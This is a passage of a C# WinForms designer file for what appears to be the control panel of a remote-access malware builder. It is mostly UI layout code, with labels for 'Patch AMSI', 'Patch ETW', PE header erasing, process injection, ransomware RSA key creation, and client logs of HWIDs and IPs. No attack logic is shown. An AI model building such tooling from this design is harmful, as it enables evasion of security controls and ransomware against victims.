\"erasePEHeadersGuna2CheckBox\";\n            this.erasePEHeadersGuna2CheckBox.Size = new System.Drawing.Size(158, 17);\n            this.erasePEHeadersGuna2CheckBox.TabIndex = 32;\n            this.erasePEHeadersGuna2CheckBox.Text = \"Erase PE Header from PEB\";\n            this.patchToolTip.SetToolTip(this.erasePEHeadersGuna2CheckBox, \"This option (if activated) will replace most of PE Headers fields with random val\" +\n        \"ues.\");\n            this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.erasePEHeadersGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // patchAMSIGuna2CheckBox\n            // \n            this.patchAMSIGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.patchAMSIGuna2CheckBox.Animated = true;\n            this.patchAMSIGuna2CheckBox.AutoSize = true;\n            this.patchAMSIGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.patchAMSIGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.patchAMSIGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.patchAMSIGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.patchAMSIGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.patchAMSIGuna2CheckBox.Location = new System.Drawing.Point(0, 45);\n            this.patchAMSIGuna2CheckBox.Name = \"patchAMSIGuna2CheckBox\";\n            this.patchAMSIGuna2CheckBox.Size = new System.Drawing.Size(82, 17);\n            this.patchAMSIGuna2CheckBox.TabIndex = 30;\n            this.patchAMSIGuna2CheckBox.Text = \"Patch AMSI\";\n            this.patchAMSIGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.patchAMSIGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.patchAMSIGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.patchAMSIGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // patchETWGuna2CheckBox\n            // \n            this.patchETWGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.patchETWGuna2CheckBox.Animated = true;\n            this.patchETWGuna2CheckBox.AutoSize = true;\n            this.patchETWGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.patchETWGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.patchETWGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.patchETWGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.patchETWGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.patchETWGuna2CheckBox.Location = new System.Drawing.Point(117, 45);\n            this.patchETWGuna2CheckBox.Name = \"patchETWGuna2CheckBox\";\n            this.patchETWGuna2CheckBox.Size = new System.Drawing.Size(79, 17);\n            this.patchETWGuna2CheckBox.TabIndex = 31;\n            this.patchETWGuna2CheckBox.Text = \"Patch ETW\";\n            this.patchETWGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.patchETWGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.patchETWGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.patchETWGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // label4\n            // \n            this.label4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label4.AutoSize = true;\n            this.label4.BackColor = System.Drawing.Color.Transparent;\n            this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.label4.Location = new System.Drawing.Point(-1, 379);\n            this.label4.Name = \"label4\";\n            this.label4.Size = new System.Drawing.Size(417, 13);\n            this.label4.TabIndex = 10;\n            this.label4.Text = \"Note : those advanced options are for testing only and could cause client\\'s crash\" +\n    \".\";\n            this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // tabPage9\n            // \n            this.tabPage9.Controls.Add(this.buildLogsGuna2TextBox);\n            this.tabPage9.Controls.Add(this.buildGuna2Button);\n            this.tabPage9.Controls.Add(this.tosLicenseGuna2CheckBox);\n            this.tabPage9.Controls.Add(this.label16);\n            this.tabPage9.Location = new System.Drawing.Point(4, 44);\n            this.tabPage9.Name = \"tabPage9\";\n            this.tabPage9.Size = new System.Drawing.Size(900, 395);\n            this.tabPage9.TabIndex = 3;\n            this.tabPage9.Text = \"Build\";\n            this.tabPage9.UseVisualStyleBackColor = true;\n            // \n            // buildLogsGuna2TextBox\n            // \n            this.buildLogsGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.buildLogsGuna2TextBox.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(250)))), ((int)(((byte)(250)))), ((int)(((byte)(250)))));\n            this.buildLogsGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.buildLogsGuna2TextBox.DefaultText = \"\";\n            this.buildLogsGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.buildLogsGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.buildLogsGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.buildLogsGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.buildLogsGuna2TextBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));\n            this.buildLogsGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.buildLogsGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.buildLogsGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.buildLogsGuna2TextBox.Location = new System.Drawing.Point(3, 146);\n            this.buildLogsGuna2TextBox.Multiline = true;\n            this.buildLogsGuna2TextBox.Name = \"buildLogsGuna2TextBox\";\n            this.buildLogsGuna2TextBox.PasswordChar = '\\0';\n            this.buildLogsGuna2TextBox.PlaceholderText = \"Build logs\";\n            this.buildLogsGuna2TextBox.SelectedText = \"\";\n            this.buildLogsGuna2TextBox.Size = new System.Drawing.Size(894, 246);\n            this.buildLogsGuna2TextBox.TabIndex = 35;\n            // \n            // buildGuna2Button\n            // \n            this.buildGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.Top;\n            this.buildGuna2Button.Animated = true;\n            this.buildGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.buildGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.buildGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.buildGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.buildGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.buildGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.buildGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.buildGuna2Button.Location = new System.Drawing.Point(251, 101);\n            this.buildGuna2Button.Name = \"buildGuna2Button\";\n            this.buildGuna2Button.Size = new System.Drawing.Size(410, 39);\n            this.buildGuna2Button.TabIndex = 34;\n            this.buildGuna2Button.Text = \"Build !\";\n            this.buildGuna2Button.Click += new System.EventHandler(this.buildGuna2Button_Click);\n            // \n            // tosLicenseGuna2CheckBox\n            // \n            this.tosLicenseGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.Top;\n            this.tosLicenseGuna2CheckBox.Animated = true;\n            this.tosLicenseGuna2CheckBox.AutoSize = true;\n            this.tosLicenseGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.tosLicenseGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.tosLicenseGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.tosLicenseGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.tosLicenseGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.tosLicenseGuna2CheckBox.Location = new System.Drawing.Point(251, 78);\n            this.tosLicenseGuna2CheckBox.Name = \"tosLicenseGuna2CheckBox\";\n            this.tosLicenseGuna2CheckBox.Size = new System.Drawing.Size(183, 17);\n            this.tosLicenseGuna2CheckBox.TabIndex = 33;\n            this.tosLicenseGuna2CheckBox.Text = \"Agreements to TOS and license\";\n            this.tosLicenseGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tosLicenseGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.tosLicenseGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.tosLicenseGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // label16\n            // \n            this.label16.Anchor = System.Windows.Forms.AnchorStyles.Top;\n            this.label16.AutoSize = true;\n            this.label16.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label16.Location = new System.Drawing.Point(248, 10);\n            this.label16.Name = \"label16\";\n            this.label16.Size = new System.Drawing.Size(413, 65);\n            this.label16.TabIndex = 32;\n            this.label16.Text = resources.GetString(\"label16.Text\");\n            // \n            // tabPage3\n            // \n            this.tabPage3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage3.Controls.Add(this.guna2Panel2);\n            this.tabPage3.Location = new System.Drawing.Point(4, 4);\n            this.tabPage3.Name = \"tabPage3\";\n            this.tabPage3.Size = new System.Drawing.Size(908, 443);\n            this.tabPage3.TabIndex = 2;\n            this.tabPage3.Text = \"Packet Logs\";\n            // \n            // guna2Panel2\n            // \n            this.guna2Panel2.BackColor = System.Drawing.Color.White;\n            this.guna2Panel2.Controls.Add(this.guna2VScrollBar2);\n            this.guna2Panel2.Controls.Add(this.logsDataGridView);\n            this.guna2Panel2.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2Panel2.Location = new System.Drawing.Point(0, 0);\n            this.guna2Panel2.Name = \"guna2Panel2\";\n            this.guna2Panel2.Size = new System.Drawing.Size(908, 443);\n            this.guna2Panel2.TabIndex = 1;\n            // \n            // guna2VScrollBar2\n            // \n            this.guna2VScrollBar2.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar2.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar2.InUpdate = false;\n            this.guna2VScrollBar2.LargeChange = 10;\n            this.guna2VScrollBar2.Location = new System.Drawing.Point(890, 0);\n            this.guna2VScrollBar2.Name = \"guna2VScrollBar2\";\n            this.guna2VScrollBar2.ScrollbarSize = 18;\n            this.guna2VScrollBar2.Size = new System.Drawing.Size(18, 443);\n            this.guna2VScrollBar2.TabIndex = 11;\n            this.guna2VScrollBar2.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // logsDataGridView\n            // \n            this.logsDataGridView.AllowUserToAddRows = false;\n            this.logsDataGridView.AllowUserToDeleteRows = false;\n            this.logsDataGridView.AllowUserToResizeColumns = false;\n            this.logsDataGridView.AllowUserToResizeRows = false;\n            this.logsDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.logsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.logsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.logsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle1.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.logsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;\n            this.logsDataGridView.ColumnHeadersHeight = 36;\n            this.logsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column11,\n            this.Column12,\n            this.Column13,\n            this.Column17,\n            this.Column14,\n            this.Column15,\n            this.Column16});\n            this.logsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.logsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.logsDataGridView.EnableHeadersVisualStyles = false;\n            this.logsDataGridView.GridColor = System.Drawing.Color.White;\n            this.logsDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.logsDataGridView.Name = \"logsDataGridView\";\n            this.logsDataGridView.ReadOnly = true;\n            this.logsDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle32.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle32.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle32.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.logsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle32;\n            this.logsDataGridView.RowTemplate.Height = 26;\n            this.logsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.logsDataGridView.Size = new System.Drawing.Size(908, 443);\n            this.logsDataGridView.TabIndex = 12;\n            this.logsDataGridView.TabStop = false;\n            // \n            // Column11\n            // \n            this.Column11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column11.DefaultCellStyle = dataGridViewCellStyle20;\n            this.Column11.FillWeight = 25F;\n            this.Column11.HeaderText = \"HWID\";\n            this.Column11.Name = \"Column11\";\n            this.Column11.ReadOnly = true;\n            this.Column11.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column12\n            // \n            this.Column12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column12.DefaultCellStyle = dataGridViewCellStyle31;\n            this.Column12.FillWeight = 18F;\n            this.Column12.HeaderText = \"IP\";\n            this.Column12.Name = \"Column12\";\n            this.Column12.ReadOnly = true;\n            this.Column12.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column13\n            // \n            this.Column13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column13.FillWeight = 25F;\n            this.Column13.HeaderText = \"Packet\";\n            this.Column13.Name = \"Column13\";\n            this.Column13.ReadOnly = true;\n            this.Column13.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column17\n            // \n            this.Column17.HeaderText = \"Size\";\n            this.Column17.Name = \"Column17\";\n            this.Column17.ReadOnly = true;\n            // \n            // Column14\n            // \n            this.Column14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column14.FillWeight = 20F;\n            this.Column14.HeaderText = \"State\";\n            this.Column14.Name = \"Column14\";\n            this.Column14.ReadOnly = true;\n            this.Column14.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column15\n            // \n            this.Column15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column15.FillWeight = 20F;\n            this.Column15.HeaderText = \"Date\";\n            this.Column15.Name = \"Column15\";\n            this.Column15.ReadOnly = true;\n            this.Column15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column16\n            // \n            this.Column16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column16.FillWeight = 20F;\n            this.Column16.HeaderText = \"Description\";\n            this.Column16.Name = \"Column16\";\n            this.Column16.ReadOnly = true;\n            // \n            // tabPage4\n            // \n            this.tabPage4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage4.Controls.Add(this.guna2Panel3);\n            this.tabPage4.Location = new System.Drawing.Point(4, 4);\n            this.tabPage4.Name = \"tabPage4\";\n            this.tabPage4.Size = new System.Drawing.Size(908, 443);\n            this.tabPage4.TabIndex = 3;\n            this.tabPage4.Text = \"Update Logs\";\n            // \n            // guna2Panel3\n            // \n            this.guna2Panel3.BackColor = System.Drawing.Color.White;\n            this.guna2Panel3.Controls.Add(this.updateLogRichTextBox);\n            this.guna2Panel3.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2Panel3.Location = new System.Drawing.Point(0, 0);\n            this.guna2Panel3.Name = \"guna2Panel3\";\n            this.guna2Panel3.Size = new System.Drawing.Size(908, 443);\n            this.guna2Panel3.TabIndex = 1;\n            // \n            // updateLogRichTextBox\n            // \n            this.updateLogRichTextBox.BackColor = System.Drawing.Color.White;\n            this.updateLogRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.updateLogRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.updateLogRichTextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 9F);\n            this.updateLogRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.updateLogRichTextBox.Location = new System.Drawing.Point(0, 0);\n            this.updateLogRichTextBox.Name = \"updateLogRichTextBox\";\n            this.updateLogRichTextBox.ReadOnly = true;\n            this.updateLogRichTextBox.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None;\n            this.updateLogRichTextBox.Size = new System.Drawing.Size(908, 443);\n            this.updateLogRichTextBox.TabIndex = 14;\n            this.updateLogRichTextBox.Text = \"\";\n            // \n            // tabPage5\n            // \n            this.tabPage5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage5.Controls.Add(this.guna2Panel4);\n            this.tabPage5.Location = new System.Drawing.Point(4, 4);\n            this.tabPage5.Name = \"tabPage5\";\n            this.tabPage5.Size = new System.Drawing.Size(908, 443);\n            this.tabPage5.TabIndex = 4;\n            this.tabPage5.Text = \"Settings\";\n            // \n            // guna2Panel4\n            // \n            this.guna2Panel4.BackColor = System.Drawing.Color.White;\n            this.guna2Panel4.Controls.Add(this.label22);\n            this.guna2Panel4.Controls.Add(this.notificationIconGuna2CheckBox);\n            this.guna2Panel4.Controls.Add(this.ransomKeyGuna2CheckBox);\n            this.guna2Panel4.Controls.Add(this.label18);\n            this.guna2Panel4.Controls.Add(this.bufferSizeGuna2ComboBox);\n            this.guna2Panel4.Controls.Add(this.autoRemoveDownloadGuna2CheckBox);\n            this.guna2Panel4.Controls.Add(this.processInjectionGuna2ComboBox);\n            this.guna2Panel4.Controls.Add(this.label17);\n            this.guna2Panel4.Controls.Add(this.autoSaveRecoveryGuna2CheckBox);\n            this.guna2Panel4.Controls.Add(this.flagsPackGuna2ComboBox);\n            this.guna2Panel4.Controls.Add(this.label1);\n            this.guna2Panel4.Controls.Add(this.keyGuna2TextBox);\n            this.guna2Panel4.Controls.Add(this.notificationSoundGuna2CheckBox);\n            this.guna2Panel4.Controls.Add(this.guna2GroupBox1);\n            this.guna2Panel4.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2Panel4.Location = new System.Drawing.Point(0, 0);\n            this.guna2Panel4.Name = \"guna2Panel4\";\n            this.guna2Panel4.Size = new System.Drawing.Size(908, 443);\n            this.guna2Panel4.TabIndex = 2;\n            // \n            // label22\n            // \n            this.label22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label22.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label22.Location = new System.Drawing.Point(14, 415);\n            this.label22.Name = \"label22\";\n            this.label22.Size = new System.Drawing.Size(52, 17);\n            this.label22.TabIndex = 60;\n            this.label22.Text = \"Key :\";\n            this.label22.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // notificationIconGuna2CheckBox\n            // \n            this.notificationIconGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.notificationIconGuna2CheckBox.Animated = true;\n            this.notificationIconGuna2CheckBox.AutoSize = true;\n            this.notificationIconGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.notificationIconGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.notificationIconGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.notificationIconGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.notificationIconGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.notificationIconGuna2CheckBox.Location = new System.Drawing.Point(2, 344);\n            this.notificationIconGuna2CheckBox.Name = \"notificationIconGuna2CheckBox\";\n            this.notificationIconGuna2CheckBox.Size = new System.Drawing.Size(110, 17);\n            this.notificationIconGuna2CheckBox.TabIndex = 59;\n            this.notificationIconGuna2CheckBox.Text = \"Notification Icon\";\n            this.notificationIconGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.notificationIconGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.notificationIconGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.notificationIconGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // ransomKeyGuna2CheckBox\n            // \n            this.ransomKeyGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.ransomKeyGuna2CheckBox.Animated = true;\n            this.ransomKeyGuna2CheckBox.AutoSize = true;\n            this.ransomKeyGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.ransomKeyGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.ransomKeyGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.ransomKeyGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.ransomKeyGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.ransomKeyGuna2CheckBox.Location = new System.Drawing.Point(3, 297);\n            this.ransomKeyGuna2CheckBox.Name = \"ransomKeyGuna2CheckBox\";\n            this.ransomKeyGuna2CheckBox.Size = new System.Drawing.Size(211, 17);\n            this.ransomKeyGuna2CheckBox.TabIndex = 58;\n            this.ransomKeyGuna2CheckBox.Text = \"Auto create RSA key for ransomware\";\n            this.ransomKeyGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.ransomKeyGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.ransomKeyGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.ransomKeyGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // label18\n            // \n            this.label18.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label18.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label18.Location = new System.Drawing.Point(431, 334);\n            this.label18.Name = \"label18\";\n            this.label18.Size = new System.Drawing.Size(155, 17);\n            this.label18.TabIndex = 57;\n            this.label18.Text = \"Buffer Size (download file) :\";\n            this.label18.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // bufferSizeGuna2ComboBox\n            // \n            this.bufferSizeGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n            this.bufferSizeGuna2ComboBox.Animated = true;\n            this.bufferSizeGuna2ComboBox.AutoRoundedCorners = true;\n            this.bufferSizeGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.bufferSizeGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.bufferSizeGuna2ComboBox.BorderRadius = 17;\n            this.bufferSizeGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.bufferSizeGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.bufferSizeGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.bufferSizeGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.bufferSizeGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.bufferSizeGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), 